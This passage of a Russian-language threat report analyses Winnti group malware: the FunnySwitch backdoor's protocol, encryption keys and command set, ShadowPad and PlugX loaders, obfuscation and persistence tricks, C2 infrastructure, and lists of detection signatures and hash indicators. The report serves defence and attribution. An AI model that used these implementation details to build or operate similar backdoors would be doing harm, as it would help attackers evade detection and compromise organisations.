Также, как и в случае Crosswalk, можно говорить о нескольких уровнях протокола: в данном случае о транспортном, сетевом и прикладном.

5.2.1 Транспортные протоколы

  1. TCP.

    Поддерживает три типа сообщений: PingMessage (0x1), PongMessage (0x2), DataMessage (0x3). Первые два отвечают за контроль соединения и актуальны только на уровне TcpConnector/TcpBindConnector. DataMessage содержит данные сетевого уровня.

    Сообщения состоят из сигнатуры (4 байта), зашифрованного заголовка (16 байт) и опциональных данных.

    Сигнатура представляет собой три случайных байта, за которыми следует их сумма по модулю 256. Входящие сообщения с некорректной сигнатурой отбрасываются.

    Заголовок содержит в себе размер данных (4 байта) и байт с типом сообщения (0x1 / 0x2 / 0x3).

    Для его шифрования применяется AES-256-CBC, в качестве криптоключа и IV используется MD5 от ключевой строки. Такой способ шифрования бэкдор использует и в других случаях, далее мы будем называть его стандартным. В данном случае в качестве ключевой строки выступает tcp_encrypted.

    Стандартное шифрование в FunnySwitch
    Рис. 41. Стандартное шифрование в FunnySwitch
  2. HTTP с long polling.

    Имеет три вида запросов: GET "connect", GET "pull", POST "push". Для начала передачи данных клиент должен выполнить операцию "connect": отправить GET-запрос на URL из конфигурации, указав специальное значение сookie.

    В качестве имени cookie используется восемь случайных символов, в качестве значения ― зашифрованная строка в виде Base64, содержащая GUID сессии и название операции (connect). Строка шифруется стандартным образом с ключом http.

    Дальнейшее взаимодействие заключается в постоянной отправке GET-запросов с операцией pull, в ответ на которые сервер возвращает актуальный массив сообщений для клиента, либо пустой ответ, если за 10 секунд новых сообщений не появилось. Сообщения «клиент — сервер» также периодически отправляются массивом, для этого используется POST-запрос с операцией push.

    connect- и pull-запросы FunnySwitch
    Рис. 42. connect- и pull-запросы FunnySwitch

    Для упаковки массива и других примитивных типов используется специальный класс MsgPack, реализующий собственный протокол сериализации.

  3. RPC (Pipe).

    Аналогичен TCP, за исключением отсутствия контроля соединения.

5.2.2 Протокол сетевого уровня

Функция обработки входящих сообщений сетевого уровня
Рис. 43. Функция обработки входящих сообщений сетевого уровня

Все сообщения на этом уровне зашифрованы стандартным для бэкдора образом с ключевой строкой «commonkey».

Сообщения представляют собой массив из 3 или 4 элементов:

  • тип сообщения ("hello_request", "hello_response", " message", "error");
  • сериализованный массив Source;
  • сериализованный массив Destination;
  • полезная нагрузка (данные прикладного уровня).

Для сериализации также используется класс MsgPack. Массивы Source и Destination содержат ID маршрутизаторов, через которые уже прошло сообщение, и ID маршрутизаторов, через которые оно должно быть доставлено получателю.

Сообщения hello_request и hello_response в качестве полезной нагрузки содержат информацию о системе отправителя. При получении одного из этих сообщений маршрутизатор сохраняет данные об ID отправителя, использованном для связи с ним коннекторе, а также данные о системе. Данные типы сообщений служат для установки прямого соединения между маршрутизаторами.

Сообщение типа message предполагает возможность передачи через несколько маршрутизаторов: если в его поле Destination находится только ID текущего экземпляра, то оно будет обработано локально, иначе — отправлено следующему маршрутизатору в списке. Для связи со следующим экземпляром используется коннектор, который был сохранен на этапе обмена сообщениями hello_request и hello_response.

Бэкдор собирает следующую информацию о системе:

  • значения ключей ProductName и CSDVersion из раздела HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion;
  • разрядность ОС;
  • список IP-адресов;
  • имя компьютера;
  • имя пользователя и рабочей группы;
  • имя исполняемого модуля;
  • PID процесса;
  • MAC-адреса сетевых адаптеров;
  • значение атрибута Group в XML-конфигурации.

5.2.3 Протокол прикладного уровня

На прикладном уровне передаваемые данные стандартно зашифрованы с помощью значения атрибута Password из конфигурации. Если оно отсутствует, в качестве ключевой строки используется test. Перед шифрованием данные сжимаются с помощью GZip.

Полезная нагрузка после дешифровки и декомпрессии представляет собой массив (упакованный MsgPack) из одного или двух элементов: строки с именем команды и опционального массива байт ― данных для команды. В них, в свою очередь, содержится еще один сериализованный массив, содержащий строковый идентификатор сообщения (будет использован при отправке результата команды) и непосредственно данные команды.

5.2.4 Поддерживаемые команды

Команда Описание
invoke

Выполнение переданного JScript-кода и возврат результата. Реализация этой задачи вынесена в отдельную .NET-сборку JSCore, которая динамически загружается из определенной в основной сборке Base64-константы.

Загрузка класса Funny.Eval из сборки JSCore
Рис. 44. Загрузка класса Funny.Eval из сборки JSCore

Непосредственно исполнение кода реализовано с помощью классов пространства имен Microsoft.JScript.

Фрагменты кода класса Funny.Eval
Рис. 45. Фрагменты кода класса Funny.Eval
connect Принимает в качестве данных XML-строку с конфигурацией коннектора и создает соответствующий объект
update Упаковывает в ответ идентификаторы подключенных к текущему экземпляру маршрутизаторов вместе с их информацией о системе
query Собирает конфигурацию активных экземпляров коннекторов, кроме классов типа RPCConnector и RPCBindConnector
remove Удаляет Connector с указанным идентификатором
createStream Создает очередь сообщений с указанным именем. Очередь связывается с отправителем команды createStream
closeStream Удаляет очередь сообщений по ее имени
sendStream Добавляет сообщение (массив байтов) в очередь с указанным именем

Результат исполнения всех команд возвращается отправителю командой invoke-response.

5.2.5 Неиспользуемый код

Бэкдор FunnySwitch, по всей видимости, еще находится в стадии разработки, на что указывает незавершенная функциональность работы с очередями сообщений. Помимо описанных выше команд, для работы с ними в коде есть функции PullStream и SendStream, однако они нигде не используются. Первая из них по имени очереди извлекает из нее сообщение, вторая ― отправляет ее создателю произвольный набор байт с командой stream-data.

Помимо этого, в коде присутствует еще несколько неиспользуемых классов: реализация протокола KCP, очередь ограниченного размера SizeQueue, сериализатор строк StreamString.

Фрагмент кода класса KCP
Рис. 46. Фрагмент кода класса KCP

5.2.6 FunnySwitch vs Crosswalk

Исследование обоих бэкдоров позволяет предполагать, что они были написаны одними и теми же разработчиками. На это указывает несколько признаков:

  • техника использования различных транспортных протоколов;

  • возможность указания прокси-сервера;

  • идентичные ограничения на время суток и дни недели в конфигурации;

  • присутствие реализации протокола KCP;

  • реализованное и отключенное по умолчанию логирование отладочных сообщений и ошибок.

Логирование ошибок в Crosswalk
Рис. 47. Логирование ошибок в Crosswalk
Логирование сообщений в FunnySwitch
Рис. 48. Логирование сообщений в FunnySwitch

6. ShadowPad

Во время исследования нам также удалось обнаружить два экземпляра, содержащих ВПО ShadowPad.

Первый из них представляет собой SFX-архив 20200926___Request for wedding reception.exe (03b7b511716c074e9f6ef37318638337fd7449897be999505d4a3219572829b4).

Содержимое архива 20200926___Request for wedding reception.exe
Рис. 49. Содержимое архива 20200926___Request for wedding reception.exe

В качестве приманки он содержит документ Word на китайском языке с текстом заявки на свадебный банкет.

Приманка wedding.docx
Рис. 50. Приманка wedding.docx

Содержимое архива распаковывается в папку c:\programdata, откуда затем, помимо открытия приманки, запускается полезная нагрузка log.exe.

Исполняемый файл, как и DLL-библиотека, обфусцированы с помощью VMProtect, однако мы также нашли идентичные версии без защиты (на скриншотах ниже).

В качестве log.exe выступает упакованный легитимный компонент ПО Bitdefender (386eb7aa33c76ce671d6685f79512597f1fab28ea46c8ec7d89e58340081e2bd). В процессе своей работы он динамически загружает библиотеку log.dll.

Загрузка log.dll в log.exe
Рис. 51. Загрузка log.dll в log.exe

Библиотека, в свою очередь, в момент загрузки проверяет наличие в текущем модуле определенного набора байт по смещению 0x2775. Если загружающий модуль удовлетворяет ее ожиданиям, то найденные байты меняются на инструкцию call, вызывающую функцию из DLL. В результате в log.exe сразу же после загрузки log.dll выполняется вызов функции sub_100010D0 из этой библиотеки. Вызываемая функция при этом явно не экспортируется.

Проверка и модификация исполняемого модуля в log.dll
Рис. 52. Проверка и модификация исполняемого модуля в log.dll

Аналогичная техника была ранее описана ESET в связи с атаками группы Winnti на университеты Гонконга. В качестве полезной нагрузки в этих атаках использовалось ВПО ShadowPad.

В нашем случае исполняемый далее код обфусцирован с использованием нового подхода: все функции разделяются на отдельные инструкции, которые перемешиваются между собой. Переходы между инструкциями происходят с помощью вызова специальной функции (rel_jmp), эмулирующей работу команды jmp. Смещение, по которому происходит переход, записывается сразу же после инструкции call (см. рис. 53 ниже).

Структура обфусцированного кода
Рис. 53. Структура обфусцированного кода

Помимо этого, для запутывания потока управления в коде используются никогда не выполняющиеся условные переходы вида:

cmp esp, 3181h jb loc_1000BCA9

Обфусцированный код является загрузчиком следующего шеллкода, который зашифрован в файле log.dll.dat. После дешифровки файл удаляется, а шеллкод перешифровывается, сохраняется в реестре и сразу же запускается на исполнение. При повторном исполнении log.exe шеллкод будет загружен из реестра.

Данные хранятся в кусте с именем вида (HKLM|HKCU)\Software\Classes\CLSID\{%8.8x-%4.4x-%4.4x-%8.8x%8.8x} по ключу %8.8X. Значения, подставляемые в форматные строки, генерируются на основе поля TimeDateStamp в PE-заголовке log.dll и поэтому всегда одинаковы для данного экземпляра библиотеки. В нашем случае они равны, соответственно, {56a36bd2-5e2b-20b0-96f2cb9bb3f43475} и EB5D1182.

Загружаемая полезная нагрузка представляет собой шеллкод ShadowPad, обфусцированный с использованием тех же техник (rel_jmp + fake-jb). В его зашифрованной конфигурации хранятся следующие строки:

6/30/2020 1:25:52 PM ccc %ProgramData%\ msdn.exe log.dll log.dll.dat WMNetworkSvc WMNetworkSvc WMNetworkSvc SOFTWARE\Microsoft\Windows\CurrentVersion\Run WMSVC %ProgramFiles%\Windows Media Player\wmplayer.exe %windir%\system32\svchost.exe %windir%\system32\winlogon.exe %windir%\explorer.exe TCP://cigy2jft92.kasprsky.info:443 UDP://cigy2jft92.kasprsky.info:53 SOCKS4 SOCKS4 SOCKS5 SOCKS5

Среди них ― вероятная дата сборки модуля (30.06.2020), имя сервиса, через который ВПО закрепляется в системе (WMNetworkSvc), имена процессов, в которые может быть инжектирован шеллкод, домен C2 cigy2jft92.kasprsky[.]info.

Мы уже писали выше, что другой поддомен kasprsky[.]info использовался злоумышленниками в качестве управляющего сервера FunnySwitch. Исследование поддоменов и IP-адресов приводит к еще одному домену второго уровня ― livehost[.]live, поддомен которого d89o0gm35t.livehost[.]live, в свою очередь, указан как C2 в одном из экземпляров Crosswalk (86100e3efa14a6805a33b2ed24234ac73e094c84cf4282426192607fb8810961). Более того, все экземпляры этих бэкдоров подписаны похищенным сертификатом Zealot Digital и, вероятно, использовались совместно в одной кампании.

Это не единственный пример связи сетевой инфраструктуры Crosswalk и ShadowPad. Два выявленных нами C2-сервера Crosswalk, 103.248.21[.]134 и 103.248.21[.]179, содержали SSL-сертификат с SHA-1 b1d749a8883ac9860c45986e2ffe370feb3d9ab6. Тот же сертификат был замечен на IP 103.4.29[.]167, который через домен update.ilastname[.]com использовался в качестве управляющего сервера в другом экземпляре ShadowPad (37be65842e3fc72a5ceccdc3d7784a96d3ca6c693d84ed99501f303637f9301a).

Фрагмент сетевой инфраструктуры ShadowPad и PlugX
Рис. 54. Фрагмент сетевой инфраструктуры ShadowPad и PlugX

7. PlugX

SSL-сертификат привел нас к еще одному контрольному серверу с доменом ns.mircosoftbox[.]com.

Мы обнаружили, что данный C2 используется интересным экземпляром бэкдора PlugX. Его начальная стадия типична для PlugX ― это SFX-архив (ccdb8e0162796efe19128c0bac78478fd1ff2dc3382aed0c19b0f4bd99a31efc), содержащий библиотеку mapistub.dll, которая подгружается легитимным исполняемым файлом.

SFX-архив PlugX
Рис. 55. SFX-архив PlugX

Однако mapistub.dll является лишь загрузчиком. В качестве хранилища полезной нагрузки выступает Google Docs: библиотека отправляет запрос на экспорт определенного документа в формате TXT, декодирует его в шеллкод с помощью Base64, а затем исполняет.

Загрузка и исполнение шеллкода в mapistub.dll
Рис. 56. Загрузка и исполнение шеллкода в mapistub.dll

Полученный шеллкод обфусцирован с помощью добавления мусорных инструкций и инвертированных команд условного перехода (jle/jg и аналогичных комбинаций). Его задача дешифровать и исполнить следующую стадию, которая ответственна за рефлективную загрузку основного компонента PlugX и передачу ему структуры с конфигурацией.

Обфусцированный шеллкод из Google Docs
Рис. 57. Обфусцированный шеллкод из Google Docs

Более подробно этот процесс и дальнейшая работа подобного образца описаны в недавнем отчете компании «Доктор Веб» (см. разделы «Шелл-код QuickHeal» и «BackDoor.PlugX.28»).

Помимо зафиксированных в конфигурации контрольных серверов 103.79.76[.]205 и ns.mircosoftbox[.]com в нашем случае используется стандартная для PlugX техника получения контрольного сервера по заданному URL. Адрес C2 кодируется в теле страницы между маркерами DZKS и DZJS.

В качестве URL вновь используется адрес документа Google Docs.

Документ с закодированным URL
Рис. 58. Документ с закодированным URL

Стоит отметить, что документ доступен для редактирования без авторизации. Однако в момент нашего первого обращения он содержал IP 107.174.45[.]134, который связан с доменом dc-d68d34331440.mircosoftbox[.]com и, очевидно, был установлен злоумышленниками.

Аналогичная техника использовалась Winnti и ранее: по данным Trend Micro, в 2017 году кодированный адрес C2 сохранялся в репозиториях на GitHub.

7.1 Paranoid PlugX

Нам удалось обнаружить еще один экземпляр PlugX, содержащий шеллкод, полностью идентичный загружаемому из Google Docs, за исключением зашифрованной конфигурации.

Он также представляет из себя SFX-архив (94ea23e7f53cb9111dd61fe1a1cbb79b8bbabd2d37ed6bfa67ba2a437cfd5e92), но с другим набором файлов.

Содержимое SFX-архива
Рис. 59. Содержимое SFX-архива

Архив при распаковке запускает скрипт 1.vbs, который, в свою очередь, передает управление a.bat.

Содержимое a.bat
Рис. 60. Содержимое a.bat

Основная запускаемая нагрузка находится в файле image.jpg, который является специально подготовленной .NET-сборкой. Сборка запускается с помощью утилиты InstallUtil.exe из поставки .NET Framework, что позволяет обойти ограничения на белые списки приложений.

Запуск шеллкода в image.jpg
Рис. 61. Запуск шеллкода в image.jpg

Цель image.jpg ― запустить с помощью CreateThread тот самый шеллкод PlugX.

В его конфигурации содержатся два C2-сервера: update.upgradsource[.]com и ns.upgradsource[.]com.

Домен upgradsource[.]com упоминается в отчете Unit42 о группе схожих образцов, названных Paranoid PlugX. Такое название они получили из-за наличия скрипта, ответственного за удаление следов присутствия ВПО в системе. Сравнение нашего экземпляра с описанными в отчете позволяет определенно говорить о том, что данный экземпляр также относится к этой группе (в частности, практически совпадает структура модуля .NET Wrapper ― image.jpg, а также существенная часть скрипта очистки a.bat).

По данным Unit42, основной целью атак с использованием Paranoid PlugX были компании в игровой индустрии ― как известно, это одно из стандартных направлений деятельности группы Winnti. Исследование сетевой инфраструктуры позволяет найти еще одно подтверждение связи между Paranoid PlugX и Winnti.

Домен update.upgradsource[.]com в конце 2017 года разрешался в IP-адрес 121.170.185[.]183. Позднее в этот же IP разрешались адреса update.byeserver[.]com и update.serverbye[.]com. Домены второго уровня byeserver[.]com и serverbye[.]com, в свою очередь, приводит FireEye в своем отчете об APT41.

8. Заключение

Группа Winnti имеет в своем арсенале широкий инструментарий вредоносного ПО, которое активно использует в своих атаках. Группа применяет как массовые инструменты, такие как Metasploit, Cobalt Strike, PlugX, так и собственные разработки, список которых постоянно пополняется. В частности, не позднее мая 2020 года группа начала использовать свой новый бэкдор ― FunnySwitch, обладающий нетипичной функциональностью по маршрутизации сообщений.

Отличительной особенностью бэкдоров группы является поддержка нескольких транспортных протоколов для соединения с командным сервером, что позволяет затруднить обнаружение вредоносного трафика. Для установки полезной нагрузки используются вредоносные файлы различной степени сложности ― от примитивных RAR- и SFX-RAR-архивов, до переиспользования образцов других групп и многоступенчатых угроз с эксплуатацией уязвимостей и нетривиальными загрузчиками шеллкода. При этом сама нагрузка в всех случаях может быть одной и той же. Вероятно, что выбор в данном случае определяется массовостью проводимой атаки ― для целевых атак разрабатываются уникальные цепочки заражения и подбирается высокорелевантная приманка.

Группу Winnti продолжают интересовать разработчики и издатели игр ― в том числе и в России. Небольшие студии, как правило, не уделяют должного внимания информационной безопасности, что делает их привлекательной мишенью для хакеров. Атаки на разработчиков ПО, в свою очередь, особенно опасны угрозой заражения конечных пользователей ― как это уже произошло в известных случаях с CCleaner и ASUS. Своевременное выявление и расследование инцидентов проникновения в компанию позволяет предотвратить подобный сценарий.

9. Вердикты наших продуктов

9.1 PT Sandbox

  • Trojan-Dropper.Win32.Higaisa.a
  • Backdoor.Win32.CobaltStrike.a
  • Trojan-Dropper.Win32.Winnti.a
  • Trojan-Dropper.Win32.Winnti.b
  • Trojan-Dropper.Win32.Shadowpad.a
  • Backdoor.Win32.Shadowpad.c
  • Backdoor.Win32.FunnySwitch.a

9.2 PT Network Attack Discovery

  • REMOTE [PTsecurity] Crosswalk

    sid: 10006001;10006002;10006003;10006004;

  • SHELL [PTsecurity] Metasploit/Meterpreter

    sid: 10003751;10003753;10003754;10003755;10006172;10002588;

  • REMOTE [PTsecurity] Cobalt Strike Beacon Observed

    sid: 10000748;10005757;

  • REMOTE [PTsecurity] Cobalt Strike (jquery profile)

    sid:10005754;

  • REMOTE [PTsecurity] FunnySwitch

    sid: 11004815;1004814;11004813;11004812;

  • SPYWARE [PTsecurity] ShadowPad

    sid: 10005851;10005852;10005854;

  • REMOTE [PTsecurity] PlugX

    sid: 10001390;10001391;10002946;10004422;10004426;10004472;10004473;10004515;10004532;10005968;

10. Приложения

10.1 Выявленные имена файлов, из которых может загружаться PL-шеллкод

C_99401.NLS DriverStatics.ax DrtmAuth005.bin DrtmAuth13.bin FINTCACHE.DAT SEService.dat Theme.re WspTst.xsl cbdhsvcs.bin chrome_proxy.dll config.ini localsvc.ax log.txt msdsm.tlb normnfa.nls normnfw.nls services.bin soundsvc.sys storesync.dat storesyncsvc.ini svchosl.bin svchost.bin wbemcomn64.sys wbemcomna.dat winness.exe.config winupdate.txt

10.2 IOCs

Файловые индикаторы

Атаки с LNK-файлами
1074654a3f3df73f6e0fd0ad81597c662b75c273c92dc75c5a6bea81f093ef81 9b638f77634f535e52527d43ad850133788bfb0c c657e04141252e39b9fa75489f6320f5
0deb252a5048c3371358618750813e947458c77e651c729b9d51363f3d16b583 f50b624ba6eb9d3947f22cf7f95a6f70b7c463d3 a140420e12b68c872fe687967ac5ddbe
8e6945ae06dd849b9db0c2983bca82de1dddbf79afb371aa88da71c19c44c996 5b8e644acc097f7123172d96a3a45bd398661064 93ffd591948223e806c248861735e006
c0a0266f6df7f1235aeb4aad554e505320560967248c9c5cce7409fc77b56bd5 d500cec0ce5358751f3371b69a4a9bc402df8af4 45278d4ad4e0f4a891ec99283df153c3
bcfff6c0d72a8041a37fe3cc5c0233ac4ef8c3b7c3c6bca70d2fcfaed4c5325e 1a33f41d054a2ed2d395b19852583daddd056bb4 177e37ec8d07d6954b2102760c74708a
35a1ff5b9ad3f46222861818e3bb8a2323e20605d15d4fe395e1d16f48189530 0a462e8e3b153e249507b1652d9f6180463e7027 17548fb49ef598901ab83b7c630fbe9a
beaa2c8dcf9fbf70358a8cf71b2acee95146dba79ba37943a939a2145b83b32e acf5f997a16937072a2a72f1ba7704f9703ea27c e5809996b6126a5573623a9010eb4ee2
dca8fcb7879cf4718de0ee61a88425fca9dfa9883be187bae3534076f835a54d db6333f84538a21466e5ffe3c7102e0543cec167 d53daa634260ed28fc2e8610ecf15ad3
4733d1204b06dc95178e83834af61934a423534e1d4edd402b37e226f0f2727f dba010496a7be2e5de1f923ffdfc19bf345b650b 9776f04d9c254a0b67f4dc000369a17c
dcd2531aa89a99f009a740eab43d2aa2b8c1ed7c8d7e755405039f3a235e23a6 281c1b196cd992906d8583e64011dc28d9c52e3c 4a4a223893c67b9d34392670002d58d7
d4df4b58ee241e276ea03235445c04d1a28e48ec8b6e2599a56f6c4b8af3269b 7b6b01e9f726ab0b5f94cd68687d4787008cd7f5 4dcd2e0287e0292a1ad71cbfdf99726e
d064f675765f54ee80392fcfb5d136cd2407d06d0ea8cd7d8632d1a2b24c0439 8b8b1219581555f2d9747b289d57c3e0e274fd07 260eae2912475e51d82534b467e5746b
32705d3d9f7058e688b471e896dce505b3c6543218be28bbac85f6abbc09b791 289b5017f5ee8c915f755b1c7eefffbfb3d2d799 28bfed8776c0787e9da3a2004c12b09a
c613487a5fc65b3b4ca855980e33dd327b3f37a61ce0809518ba98b454ebf68b 0f1f2431ecccb980f7d93b9af52139d0d508510f 997ab0b59d865c4bd63cc55b5e9c8b48
4e5e3762c850536aac6add3a5ac66f54cbd15c37bd8fc72d3ade9dd5e17f420b 21a5bcd916bc61585cfe1d5656240237e24157b9 07254dbd369ba10a1f28ae707ba72dcf
2d182910dade1237f1dd398d1e7af0d6eca3a74a6614089a3af671486420fb2b 0261490fb7f88cc3e9db6aa3fd185d03d7646864 f6886709564630fbb48121d0ccc7c0a6
Шеллкод-инжекторы
Payload: Crosswalk
0046df35f66a3b076d9206412be2f1f7ea4641d96574e7b58578c0c0995d1feb b73fcfc423d1bdb4649440689ff4894639b3bd0e 9697d60b744a14b3003559d17cfc2f8f
325430384d642ab2a902fb0e268e85808b6cbf87506ccdc314e116e7d1b8239e 0f2a5bbe03c5b3422609b78ca90fb7f06bfd966b eee464e5ded3f4e37d49c8a91b1eb157
9e27f110fc824d8b85855538c3320e8ea436e82737d686fcecb512b6f872e172 4481c4b0cf2207099c7b5979a6e81a2923d6c698 254ace03b179c6565ac2616dd4d24f85
bec68bcaa80bb00274ef7066ddc8de1b289fb5f8b8e8573f3a961664f41da9d7 cc24843afd627ced74a1d713328078a23db81e54 914151fa49be06ab570bb0db77ce6960
3454d87b2ce0eab44c07774c7b56318710f9a63626d6d2aaf898922178bf2792 e6cd7a9f5b421b80b50e5809c35732c427c6b6d8 fbfeecea5a8c752c9bffdf6b9f7fcf50
1e29e07b404836c82cd9b75e44a3169195a335dc494ba27f744f6605666c26aa a1e0ce3c384945fdde841d91d069505879587217 d19c5c55733244f4a8d5a1af4e6c1250
3a9bbf4ee872904e729466aa50d570b43451b0945a41b5d9d114f8c24683c21e 5d1bada317d596f3dec5b86e4e42639b2f5f71ac 6d967f275beb3855980a80d60ef8023c
faca607b43551044fda3c799ce7e9ce61004100544eeb196734972303f57f2ae 159a5ca55d7c62d0167740f8f5310e18e03a8fd3 4518f25c6307ef6d2ea5c0e66f2b16d1
86100e3efa14a6805a33b2ed24234ac73e094c84cf4282426192607fb8810961 604c5f42eeb015016b35ec1c9019812afc400f5b 7078450715c103056b01ad87787aaed6
Payload: Metasploit
0ad8ee3fe6d45626b28c0051c4c4f83358a03096ad06fc7135621293e95c75ae e8fcd7ca491bffc4838bf9eb6a7aec3f7e4acdc2 a752d48a4433eb2dd56c8946a345ac9e
75d573d1e788590195012a1965cfcaa911c566aee88331b7718ddc638028c175 ca66a779a5b720e5f73e91561bd3434db691e13b 2867ca5c273fbb128504a4e455e862a4
8c962ddbb515e73ecfc5df9db35a54c8c9d15713a04425298f2d89308e2a47bf ce1cb0050662e541e72a24c6a969fa7b51084a60 2555677876b50a03e42420838c1997f1
fb23c7fc2e5e8ae33942734c453961da9ed4659368d19180a8f1ecb3b9b8e853 d03a5b322f3748c9019ca24dd1943507d591165e 9a026082cb80cdba1a68ae1d14f79b9d
012d8d787c6e7a5f3dbe1e9cce7c5da166537a819221e210ef4d108f1a0a24b3 d913285f75a3a1a4f2a6e0f66bfda8efc71fc669 d8ff9eb5582371745ffe1636a89f97ce
420dc77afe28003f14dfe6c09fbf8194ead8a6e8222b6ab126e7ee9bf4b63fd4 ebafff5ff0517ea5c2c783ab7d0cffded468bf4f c024b658471a27ec5201f96f65f0b89a
a02258fcb3694893b900f10f0f9bb1d0d522ed098b1cc8eab59f2f70209b3a0b 9bdd1af6fc74a8a3c2ff0e3bf1378ff290cdb35e bb4155a5add9446b6354d46a78edc8d5
f54cf6d9a5d77a89c4a2d47b02736d746764319e02ad224019db8de78842334a 8413380c19f348ef08051b2d6d8b39598bb05f68 cdddd08982ca2dd76a63cbf603956f1a
Автономные загрузчики PL-шеллкода
Payload: Crosswalk
5841a4302fcbd63f66fc2afd41f8671744454aaa7e1ed834e935bfdb007a9a83 3d0b40b2a6fc691f702237ba5682335e7e74e649 a8bb1d69fb8a9d323bbc5d78f0e62850
e0b675302efc8c94e94b400a67bc627889bfdebb4f4dffdd68fdbc61d4cd03ae 4db6e492a9ef89e116f4da19f97d69cb82e08661 2dc960eb4691a148ece5ee2b24932f03
e398290469966aff01a9e138d45c4655790d7a641950e675785d0a2ab93e7d28 1e494e1cf8df105d95d0e0bb4879223030c48a0c 42a5908ff9b65d3b1a1a9f52ca6f06a5
8add31b6a2828e0d0a5b3ac225f6063f2c67c56036ff3f5099a9ee446459012a 5c11f70345d984391d041b604adfe5bfb5134755 5e3ef894b490d1c931a5f70d44789316
a4b2a737badef32831cbf05bfaa65b5121ddb41463177f4ac0dbc354b3b451d4 8c549d16dc97072f16e4a3114fbd7d47f8bc9726 1bc1df4b946e83f26c878f01145545a4
2fdef9d8896705f468f66eb8c20e5892d161c1d98ab5962aa231326546e25056 7b465b1e0d7be4d84e06a115fd55b97207de768c 221db0f664ea781b4dff81e0a354c63d
Payload: Metasploit
a7df8143a36638de40233b141919d767678b45bf5467e948a637eaafb2820550 be39c3022218ccb3abcfc6c906359b76571f4241 dc758b9ecca41f7f66808258efbfc6cf
283302c43466bdc6524a1e58a0ff9cc223ab8f540a1b0248d1fcffe81b87d5d6 b2bb31ea3b4abaf3f3edbff405e23f2ce442dfe0 3839d37a6a7a29a7af79f102e28b8bc2
b447a7bb633f682058d4b9df5caabbe8c794f087b80bf598d6741a255e925078 3c523a969cc4c273ae27fef32630701516b08873 63584677683b5fbf4f69053a8de9ecbe
01c8cc07a83ffd7ac9ee008685eb360c9934919e86847c50c8843807b9d9c196 37ec3d5be7b535a8a31001815ab275a489e302f5 d92db6b734b1db3874396506613a4962
21dd261e5fe46b86833cd69b299ae5ee5f24da3d4e87de509eddda4d2f63d591 11e86ee44e7c3592c97f7191746e170b62f724bb c8f1aff87d12e0e5c7082b8a565c4abb
Payload: Cobalt Strike BEACON
ba03feb351825029426e84c2f74e314f27b56714a082759650a455dfb1a946eb 8890155c88c690faaf900d1e63998756809273d0 cbccba5f774642c80aacfed20d20435b
06210a1f9bc48128e050df0884f9759e4d202bd103aa78e6b6eb3cec1a58cdb5 a0128edc037a91ce127291edd9d950e7661dd764 64071aaa193ab18722553bf6f573547b
0d6a5183b903b1013367b9a319f21a7a3b7798d9565a0deee52951f62a708227 2d35c342d8fc6f5d018937491e246da2ab293d43 b8b43c4c4207b180ec8be82ff066172a
1bd0f0fbd7df99c41e057f6d6c7107812ef1370609ad215a92227ca79ce6df70 7dcb0d7300aa54ef77eb3347e6204b31d4b9c6db 4922247f9b83341987e0b4e80f5c153f
29233eab65960c2da4962e343a3adab768673012d074db35ebc2abe2142ee73c 1d3dc9bb7acfe8416ac5ab51f24b6648b91eb305 cb682ec885f353bcc51ac350bc015783
79fbb45d0041933dce16325b87b969db12b7a8dedc918929615104835badc80f b13d58f1d24cf5e10a7013f4aeac22e974c74315 407990337eac6582533df5c85528817a
8f0538a18c944e2a98f1415d5528a0dab4367cd8689f598ab2da266c36403252 483c49349d29e11e0d195864e372a210ce5ce856 7e8ebe133a530ea86f179c87fc8e51f7
025e053e329f7e5e930cc5aa8492a76e6bc61d5769aa614ec66088943bf77596 e63646f0089ce3a224d68029eecff72ef0259609 f9fa912e498f20c440dde32fc8a66608
d30dd7d82059dc34e72c3131dd7ea87f427cabe7225bbf59aa69e01cd761a1fe 8be2fccba22fdca0e453855c7428e709186f3e0d c839ae523f04e7859498de1dee570867
81ab37ae3abce3feabdefde6a008dec322e0168ce4f0456ee737135025399400 98d6dffb7e51170a02546eeb07c80f2592d10293 5ed49962d13dcd6e0eab98f966273fca
b55812f35735e4fb601575072f1b314508b2dafdcb65aa6c1245a2e1f9d80bdd 6986b924c58aa90a9e413d9942c25a1419d9aa0e f88416bc9ffcb639f1357ebafe3ae9a7
fc5c9c93781fbbac25d185ec8f920170503ec1eddfc623d2285a05d05d5552dc 0902e3c41fb8e0dffc322e6a562f04588b7522a3 6817b7a5d1542eff1cc404a44a31353a
d879b6cac6026a5418df4bf15296890507dbaec5abe56dafda54266975488cf2 11c987cdafec8ea02a77a03d4c979f743138b39a b02057f05f57f3a889a744533001cf7d
6e7052562db5f23c2740e9d094aae2316f77866b366eb4ef59c157e112172206 7fd0d64f54a54aabd04136e4111e2d8a22884324 dda83ca52a9d9dbdc7752db8ed9533a9
9afb78e9be08041f849563c4fd2777a373ffc76c3eccd638b1f6f846b847b968 2b47e9c8946536decba6066f9a57a85f143465c5 482d1c1e2044b0b4d1641f15d82e86b6
8b515bf88b3f7ac77861fdea61f82fb0c941bc5569922cadca254a79a744ae99 e46490394ddc66548067ba540d13fb3cf363c596 2a189598113d436e4b717abb76f1c652
f91f2a7e1944734371562f18b066f193605e07223aab90bd1e8925e23bbeaa1c 0b83939510bd31939c91370c53fab25aa286ba08 5909983db4d9023e4098e56361c96a6f
3d38dfd588fc98de099201fe9f52feb29bb401fc623d6fe03eb8f0c959ffc731 af76d1d293e3e8fe7ad428ca6fe47e68c858587b 284dcb880e68d66cb890ef85d78ea7ae
6a10027dd99f124cd9d2682b6e7b0841d070607ea22a446f3c40c0b9f9725bed f2751dbfe822907ecb69b83e461b48183a485355 0d69dae8f83f09b8671b8552a0acd319
71a965d54c4b60f7ae4a5e46394bfca013d06e888ec64f06d5ec3d8a21eccb55 4b51a8233991d4255fc05d9bbfc242f779b1d31d 5e61778a1e660691dce99ebb8e5e257c
5347c5bbfaec8877c3b909ff80cda82f505c3ef6384a9ecf040c821fc7829736 1530993376416274d04907ff6369a3012694bfa9 62d6fb0f33d0411ea6abd3167118a0e1
de648c21b4fae290855fdf0cd63d9e6807ced0577bdcf5ff50147ba44bf30251 3a0c2aee518b7c003e5eb8aa7094d536b8bf1a94 dbd6a052331365a31f74e2c41d5cd132
7ed5cbeb6c732aa492762381033ff06d0c29f1c731530d4d27704822141a074a 2d0bb1fc0213e4fca5c3b485caaf964dd2da7981 05e1247ff02d50aed81ecd9d0b93c41c
e886caba3fea000a7de8948c4de0f9b5857f0baef6cf905a2c53641dbbc0277c 6b92e6d594fd6e26f9e910f10f388c43017303b2 48bda0c5e53b6d7ee7fb1da6130f325f
Загрузчики внешнего PL-шеллкода
